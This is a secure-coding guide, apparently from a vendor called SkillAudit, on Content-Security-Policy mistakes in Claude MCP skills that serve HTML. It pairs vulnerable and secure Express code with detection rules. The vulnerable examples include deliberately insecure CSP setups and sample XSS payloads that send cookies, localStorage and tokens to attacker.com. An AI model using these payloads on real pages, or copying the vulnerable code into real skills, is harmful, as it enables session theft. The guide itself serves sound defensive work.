Claude skill Content-Security-Policy bypass
Content-Security-Policy is the browser’s last line of defence after an XSS payload reaches the page. For Claude MCP skills that serve HTML — tool result pages, status dashboards, error responses rendered in the Claude UI — CSP determines whether an attacker who injects a script can actually execute it. The four patterns in SA-SKL-CSP describe skills that either omit the header entirely, misconfigure it so that unsafe-inline permits arbitrary inline scripts, generate nonce values with a weak pseudorandom source whose state can be recovered from a handful of observed values, or leave connect-src unrestricted so that any injected script can reach an attacker-controlled server with document cookies, tokens, and DOM contents. Each pattern represents a distinct failure mode: the first removes the policy, the second installs a policy that does nothing, the third makes the policy forgeable, and the fourth makes enforcement irrelevant once execution is achieved.
MCP skills that only return JSON tool results are largely outside the scope of CSP — JSON is not parsed as HTML by the browser. But many real-world MCP skills expose HTTP endpoints that return HTML: rich tool result cards rendered by the Claude UI, OAuth callback pages, status and health check pages accessible from a browser, and error pages that include user-supplied input in the rendered message. Whenever a skill returns an HTML response that includes attacker-influenced content — a user-controlled parameter in an error message, a tool argument echoed in a result page, an upstream API value rendered in a status card — the absence of a strict CSP turns that response into an XSS vector. CSP is not a substitute for output encoding, but it is a critical defence-in-depth control that limits the impact of encoding failures, template injection, and third-party script compromise. Skills that serve HTML must treat CSP as a required header, not an optional enhancement.
SA-SKL-CSP-001: missing Content-Security-Policy header on MCP HTTP responses that return HTML
The most common CSP failure in MCP skills is the absence of any Content-Security-Policy header on HTML responses. A skill that returns HTML without CSP allows the browser to execute inline scripts, load scripts from any origin, make requests to any domain, and frame the page within any parent. If any part of that HTML includes attacker-controlled content — a query parameter echoed in an error message, a tool argument reflected in a result card, a stored value from an upstream API — the browser will execute any script tags or event handlers embedded in that content without restriction. Express routes that respond with res.send() or res.render() do not set any security headers by default. The skill developer must set Content-Security-Policy explicitly on every route that returns HTML, or use a middleware like helmet that adds it globally and requires explicit opt-out for routes that need a relaxed policy.
// VULNERABLE: Express route returning HTML with no CSP header
import express from 'express';
const app = express();
// MCP skill status page — renders tool name and last-invoked timestamp
app.get('/mcp/status', (req, res) => {
const toolName = req.query.tool as string; // attacker-controlled
// No Content-Security-Policy header — browser applies no execution restrictions
// If toolName contains <script>alert(1)</script> the browser executes it
res.send(`
<!doctype html>
<html><head><title>Skill Status</title></head>
<body>
<h1>Tool: ${toolName}</h1>
<p>Status: running</p>
</body></html>
`);
// ↑ Attacker visits /mcp/status?tool=<script>fetch('https://attacker.com/'+document.cookie)</script>
// No CSP → script executes → cookie exfiltrated
});
// ALSO VULNERABLE: error pages that reflect user-controlled values without CSP
app.use((err, req, res, next) => {
res.status(500).send(`
<!doctype html><html><body>
<h1>Error</h1>
<p>${err.message}</p> <!-- err.message may include attacker input -->
</body></html>
`);
// No CSP — if err.message contains a script tag, it executes freely
});
// SECURE: set strict CSP on every HTML response; generate nonce per request
import crypto from 'crypto';
app.get('/mcp/status', (req, res) => {
const nonce = crypto.randomBytes(16).toString('base64');
const toolName = escapeHtml(req.query.tool as string); // output-encode too
// Strict CSP: default-src 'none' blocks everything not explicitly permitted;
// script-src nonce-based — only scripts with the correct nonce attribute run;
// style-src nonce-based — only nonce-tagged style elements apply;
// img-src 'self' — allows inline images from same origin only;
// connect-src 'self' — fetch/XHR only to same origin
res.setHeader('Content-Security-Policy',
`default-src 'none'; ` +
`script-src 'nonce-${nonce}'; ` +
`style-src 'nonce-${nonce}'; ` +
`img-src 'self'; ` +
`connect-src 'self'`
);
res.send(`
<!doctype html>
<html><head>
<title>Skill Status</title>
<style nonce="${nonce}">body { font-family: sans-serif; }</style>
</head>
<body>
<h1>Tool: ${toolName}</h1> <!-- toolName is HTML-escaped -->
<p>Status: running</p>
<script nonce="${nonce}">
// Only this nonce-tagged script block executes — injected scripts have no nonce
console.log('status page loaded');
</script>
</body></html>
`);
});
// DETECTION (SkillAudit):
// res.send() | res.render() | res.sendFile() with HTML content-type
// AND no res.setHeader('Content-Security-Policy', ...) on the same route
// AND no helmet() or csp() middleware in the Express app chain
const missingCsp = searchAST(
'res.send(*html*) | res.render(*) AND NOT setHeader("Content-Security-Policy", *)'
);
if (missingCsp.length > 0) → CRITICAL // SA-SKL-CSP-001
No CSP is equivalent to script-src *: without a Content-Security-Policy header the browser imposes no restrictions on which scripts execute, which origins scripts can be loaded from, or which domains JavaScript can contact. Any attacker-controlled content in the HTML — reflected query parameters, stored tool arguments, upstream API values — can contain executable scripts. CSP must be set on every HTML response; a middleware like helmet() with contentSecurityPolicy() is the safest approach because it applies the policy globally and forces developers to explicitly relax it for routes that need exceptions rather than accidentally omitting it.
Content-Security-Policy header; browser applies no script execution restrictions; any attacker-controlled content in the HTML can inject and execute scripts freely. Detection: res.send() or res.render() with no setHeader('Content-Security-Policy', ...) on the route or in middleware → CRITICAL.SA-SKL-CSP-002: unsafe-inline script-src completely defeats XSS protection
When a skill developer adds a Content-Security-Policy header but includes 'unsafe-inline' in script-src, the CSP provides no meaningful XSS protection. The 'unsafe-inline' directive tells the browser to execute any inline script: script tags, onclick handlers, href="javascript:..." URLs, and any other inline JavaScript context. This is precisely the attack surface that CSP is designed to restrict. Skills add 'unsafe-inline' to support legacy inline event handlers or to avoid the refactoring required by nonce-based CSP. The result is a policy that looks restrictive in code review but offers no runtime protection. Similarly, 'unsafe-eval' in script-src permits eval(), Function(), and setTimeout(string) execution, which are common XSS escalation paths even when direct script injection is blocked. Nonce-based CSP requires slightly more infrastructure — a per-request random nonce generated with crypto.randomBytes() and injected into both the header and every legitimate script tag — but it is the only approach that actually restricts which scripts execute.
// VULNERABLE: CSP header present but unsafe-inline makes it useless
import express from 'express';
const app = express();
app.get('/mcp/result', (req, res) => {
// This CSP looks like security but the 'unsafe-inline' keyword voids it:
// any inline script in the page executes — including attacker-injected scripts
res.setHeader('Content-Security-Policy',
"default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'"
// ↑ 'unsafe-inline': inline <script> tags and event handlers execute freely
// ↑ 'unsafe-eval': eval(), Function(), setTimeout(string) also execute freely
);
const result = req.query.data as string; // attacker-controlled tool result
res.send(`
<!doctype html><html><body>
<div id="result">${result}</div>
<script>
// This legitimate inline script needs 'unsafe-inline' to work —
// but it also permits <img src=x onerror="stealData()"> in ${result}
document.title = 'Tool Result';
</script>
</body></html>
`);
});
// ALSO VULNERABLE: using helmet but overriding with unsafe-inline
import helmet from 'helmet';
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'unsafe-inline'"], // ← negates the entire policy
styleSrc: ["'self'", "'unsafe-inline'"],
}
}));
// SECURE: nonce-based CSP — only scripts with the matching nonce attribute run
import crypto from 'crypto';
// Middleware generates a fresh nonce for every request and stores it on res.locals
app.use((req, res, next) => {
res.locals.cspNonce = crypto.randomBytes(16).toString('base64');
res.setHeader('Content-Security-Policy',
`default-src 'none'; ` +
`script-src 'nonce-${res.locals.cspNonce}'; ` +
`style-src 'nonce-${res.locals.cspNonce}'; ` +
`img-src 'self'; ` +
`connect-src 'self'`
// No 'unsafe-inline', no 'unsafe-eval' — injected scripts have no nonce and are blocked
);
next();
});
app.get('/mcp/result', (req, res) => {
const result = escapeHtml(req.query.data as string);
const nonce = res.locals.cspNonce;
res.send(`
<!doctype html><html><body>
<div id="result">${result}</div>
<script nonce="${nonce}">
// nonce="${nonce}" matches the CSP header — this script executes
// An injected <script> tag without a matching nonce is silently blocked
document.title = 'Tool Result';
</script>
</body></html>
`);
});
// DETECTION (SkillAudit):
// Content-Security-Policy header value contains 'unsafe-inline' in script-src
// OR helmet.contentSecurityPolicy() with scriptSrc including 'unsafe-inline'
const unsafeInline = searchAST(
"setHeader('Content-Security-Policy', *unsafe-inline*) " +
"OR scriptSrc: [*, \"'unsafe-inline'\", *]"
);
if (unsafeInline.length > 0) → HIGH // SA-SKL-CSP-002
'unsafe-inline' in script-src makes CSP indistinguishable from no CSP: the entire value of Content-Security-Policy for XSS prevention rests on the browser refusing to execute scripts that were not explicitly authorised. 'unsafe-inline' grants authorisation to every inline script, which is exactly where XSS payloads live. A policy that contains 'unsafe-inline' passes a security header check while providing zero runtime protection. Migrating inline scripts to nonce-based execution requires extracting script content into <script nonce="..."> blocks and removing all inline event handlers — the refactoring cost is a one-time investment that makes every subsequent injection attempt fail silently.
Content-Security-Policy header includes 'unsafe-inline' in script-src; permits all inline scripts and event handlers to execute, completely defeating XSS protection. Detection: script-src directive containing 'unsafe-inline' or 'unsafe-eval' → HIGH.SA-SKL-CSP-003: predictable nonce value generated with Math.random() or timestamp
Nonce-based CSP is secure only when the nonce is unguessable. The browser enforces CSP by checking that the nonce attribute on each script tag exactly matches the nonce value in the Content-Security-Policy response header. An attacker who can predict the nonce for a future request can pre-embed a script tag with that nonce in attacker-controlled content, and the browser will execute it. Skills that generate nonces with Math.random() are critically vulnerable: V8’s implementation of Math.random() uses the xorshift128+ algorithm, whose 128-bit internal state is fully recoverable from as few as three consecutive observed outputs. Once the state is recovered, the attacker can predict all future outputs. A nonce generated as Math.random().toString(36).slice(2) produces approximately 52 bits of apparent randomness but is entirely deterministic given three prior nonce observations. Similarly, a nonce derived from Date.now() or a sequential counter is predictable from a timestamp. Only crypto.randomBytes(16) — which uses the operating system’s cryptographically secure pseudorandom number generator — produces nonces that cannot be predicted from observed values.
// VULNERABLE: nonce from Math.random() — V8 PRNG state recoverable from 3 values
import express from 'express';
const app = express();
app.use((req, res, next) => {
// Math.random() uses xorshift128+ — state is fully recoverable from 3 outputs
// Attacker observes 3 nonces from public endpoints → predicts all future nonces
const nonce = Math.random().toString(36).slice(2);
// ↑ Looks like "4f3kz9m" — appears random, but state is deterministic and recoverable
res.setHeader('Content-Security-Policy',
`script-src 'nonce-${nonce}'; style-src 'nonce-${nonce}'`
);
res.locals.cspNonce = nonce;
next();
});
// ALSO VULNERABLE: timestamp-based nonce — predictable from system clock
app.use((req, res, next) => {
const nonce = Date.now().toString(36);
// ↑ nonce is the millisecond timestamp in base-36 — attackers know the current time
// Two requests within the same millisecond produce the same nonce
res.setHeader('Content-Security-Policy', `script-src 'nonce-${nonce}'`);
res.locals.cspNonce = nonce;
next();
});
// ALSO VULNERABLE: sequential counter — trivially predictable
let nonceCounter = 0;
app.use((req, res, next) => {
const nonce = (++nonceCounter).toString(16).padStart(8, '0');
// ↑ "00000001", "00000002", etc. — attacker who has seen one nonce knows the next
res.setHeader('Content-Security-Policy', `script-src 'nonce-${nonce}'`);
res.locals.cspNonce = nonce;
next();
});
// SECURE: nonce from crypto.randomBytes() — OS CSPRNG, 128 bits of entropy
import crypto from 'crypto';
app.use((req, res, next) => {
// crypto.randomBytes(16) reads from /dev/urandom (Linux) or CryptGenRandom (Windows)
// 16 bytes = 128 bits — 2^128 possible values, unguessable even with full PRNG recovery
const nonce = crypto.randomBytes(16).toString('base64url');
// base64url encoding: URL-safe alphabet, no padding — safe in HTTP header values
res.setHeader('Content-Security-Policy',
`default-src 'none'; ` +
`script-src 'nonce-${nonce}'; ` +
`style-src 'nonce-${nonce}'; ` +
`img-src 'self'; ` +
`connect-src 'self'`
);
res.locals.cspNonce = nonce;
next();
});
// Template usage: pass nonce to template engine — never construct nonce from user input
// EJS example:
// <script nonce="<%= cspNonce %>">...</script>
// Handlebars example:
// <script nonce="{{cspNonce}}">...</script>
// DETECTION (SkillAudit):
// nonce value constructed from Math.random() | Date.now() | incrementing counter
// OR nonce assigned without crypto.randomBytes() call in the same scope
const weakNonce = searchAST(
'nonce = Math.random() | nonce = Date.now() | nonce = counter++ ' +
'OR setHeader("Content-Security-Policy", *nonce-*) AND NOT crypto.randomBytes'
);
if (weakNonce.length > 0) → HIGH // SA-SKL-CSP-003
Math.random() nonce recovery requires only three observed values: the xorshift128+ algorithm used by V8’s Math.random() has a 128-bit state, but each call reveals 64 bits of it. Three consecutive Math.random() outputs (192 bits total) are sufficient to solve the system of equations and recover the full state, after which every past and future output is known. This is not a theoretical concern: open-source tools can perform the state recovery in under a second. Any MCP skill that exposes HTML responses containing a predictable nonce also exposes a mechanism for an attacker to bypass its entire CSP. The fix is a single line: replace Math.random() with crypto.randomBytes(16).toString('base64url').
Math.random(), Date.now(), or sequential counter; V8 PRNG state recoverable from three observed values, allowing attacker to predict future nonces and pre-embed matching nonce attributes in injected scripts. Detection: nonce assignment without crypto.randomBytes() → HIGH.SA-SKL-CSP-004: connect-src wildcard or omission allows data exfiltration to any domain
Even a CSP that successfully blocks script injection via script-src 'nonce-...' may still allow data exfiltration if connect-src is set to * or omitted when default-src is also permissive. The connect-src directive restricts the URLs that JavaScript can contact via fetch(), XMLHttpRequest, WebSocket, and EventSource. If an attacker achieves script execution — through a CSP bypass, a nonce prediction, a compromised third-party script, or a DOM-based XSS sink — the connect-src directive determines whether the exfiltration payload can actually reach an attacker-controlled server. A skill that sets connect-src * allows any script to call fetch('https://attacker.com/exfil', { method: 'POST', body: document.cookie }) and deliver the user’s session credentials to any destination on the internet. Omitting connect-src is equally dangerous when default-src is set to * or is absent (since a missing CSP is equivalent to default-src *). The fix is to enumerate every domain that the skill’s own scripts legitimately need to contact, and permit only those specific origins in connect-src.
// VULNERABLE: connect-src wildcard — any injected script can exfiltrate anywhere
import express from 'express';
const app = express();
app.get('/mcp/dashboard', (req, res) => {
// connect-src * means fetch(), XHR, WebSocket can reach any domain
res.setHeader('Content-Security-Policy',
"default-src 'self'; script-src 'self'; connect-src *"
// ↑ connect-src * negates the exfiltration protection CSP is supposed to provide
);
// If any script on this page executes an attacker payload, cookies are gone:
// fetch('https://attacker.com/collect', { method:'POST', body: document.cookie })
// navigator.sendBeacon('https://attacker.com/b', localStorage.getItem('token'))
res.render('dashboard');
});
// ALSO VULNERABLE: default-src * with no connect-src — connect-src inherits wildcard
app.get('/mcp/status', (req, res) => {
res.setHeader('Content-Security-Policy',
"default-src *; script-src 'nonce-abc123'"
// ↑ connect-src not set → falls back to default-src * → wildcard exfiltration
);
res.render('status');
});
// ALSO VULNERABLE: no CSP at all (equivalent to connect-src * for all purposes)
app.get('/mcp/error', (req, res) => {
// No Content-Security-Policy header set — all fetch/XHR to any origin allowed
res.send(`<!doctype html><html><body>Error: ${escapeHtml(req.query.msg)}</body></html>`);
});
// Attacker payload executed via any of the above routes:
// <script>
// fetch('https://attacker.com/exfil', {
// method: 'POST',
// body: JSON.stringify({
// cookies: document.cookie,
// localStorage: JSON.stringify(localStorage),
// url: window.location.href
// }),
// headers: { 'Content-Type': 'application/json' }
// });
// </script>
// SECURE: explicit connect-src limited to specific required origins
import crypto from 'crypto';
app.use((req, res, next) => {
const nonce = crypto.randomBytes(16).toString('base64url');
res.locals.cspNonce = nonce;
// Enumerate every origin that legitimate scripts need to fetch from.
// 'self' covers requests to the same origin (the MCP skill itself).
// Additional origins listed explicitly — no wildcards, no subdomains unless required.
res.setHeader('Content-Security-Policy',
`default-src 'none'; ` +
`script-src 'nonce-${nonce}'; ` +
`style-src 'nonce-${nonce}'; ` +
`img-src 'self'; ` +
`connect-src 'self' https://api.skillaudit.dev`
// ↑ Only these two origins can be reached by fetch/XHR from skill HTML pages.
// Attacker's fetch('https://attacker.com/...') is blocked by the browser.
);
next();
});
// Verify that the enumerated connect-src origins are still required periodically:
// if the skill no longer calls api.skillaudit.dev, remove it — least-privilege applies.
// For skills using WebSocket, add the ws:// or wss:// origin explicitly:
// connect-src 'self' wss://realtime.skillaudit.dev
// DETECTION (SkillAudit):
// connect-src * in Content-Security-Policy header value
// OR default-src * with no explicit connect-src directive
// OR Content-Security-Policy header absent on HTML response routes
const wildcardConnect = searchAST(
"setHeader('Content-Security-Policy', *connect-src *\\**) " +
"OR (default-src *\\** AND NOT connect-src) " +
"OR HTML response with no Content-Security-Policy header"
);
if (wildcardConnect.length > 0) → HIGH // SA-SKL-CSP-004
connect-src is the exfiltration control, not the execution control: blocking script execution via a nonce-based script-src is the primary XSS defence, but it is not the only layer needed. Compromised third-party scripts, DOM-based sinks, future nonce bypasses, and prototype pollution can all achieve execution even with a well-configured script-src. connect-src limits the blast radius: an attacker who achieves execution can only reach the specific origins you have explicitly permitted. Restricting connect-src to 'self' and the specific API domains your skill pages actually call turns a full credential-exfiltration attack into a same-origin action that cannot leave the skill’s own domain. This is a meaningful reduction in impact even when execution has already been achieved.
Content-Security-Policy sets connect-src * or omits connect-src with a permissive default-src; attacker-injected script can call fetch('https://attacker.com/exfil', {body: document.cookie}) to any domain. Detection: connect-src * or absent connect-src with non-restrictive default-src → HIGH.Remediation summary
| Finding | Severity | Fix |
|---|---|---|
| CSP-001: Missing CSP header on HTML responses | CRITICAL | Add Content-Security-Policy to every HTML route; use helmet.contentSecurityPolicy() middleware to apply globally; default to default-src 'none' with explicit per-directive allowlists |
| CSP-002: unsafe-inline in script-src | HIGH | Remove 'unsafe-inline' and 'unsafe-eval' from script-src; migrate inline scripts to nonce-tagged <script nonce="..."> blocks; eliminate inline event handlers |
| CSP-003: Predictable nonce from Math.random() | HIGH | Replace Math.random() / Date.now() nonce generation with crypto.randomBytes(16).toString('base64url'); generate a fresh nonce per request in middleware |
| CSP-004: connect-src wildcard or missing | HIGH | Set connect-src 'self' plus explicit named API origins; remove * wildcard; never allow connect-src to fall back to a permissive default-src |
SkillAudit detects all four SA-SKL-CSP-001 through CSP-004 Content-Security-Policy bypass patterns through static analysis of HTTP response header construction and middleware configuration. The companion page SA-SKL-CSP-005 through CSP-008 (cross-origin isolation failures) covers the related Cross-Origin-Opener-Policy, Cross-Origin-Embedder-Policy, and Cross-Origin-Resource-Policy misconfigurations that allow cross-origin script access and Spectre-class memory attacks on skill-served pages. See the complete 15-family SA-SKL attack surface reference for the full vulnerability taxonomy across all MCP skill security families.
Scan your Claude skill for Content-Security-Policy vulnerabilities
SkillAudit detects missing CSP headers, unsafe-inline directives, weak nonce generation, and connect-src wildcards across the full SA-SKL-CSP family in 60 seconds.
Get your free audit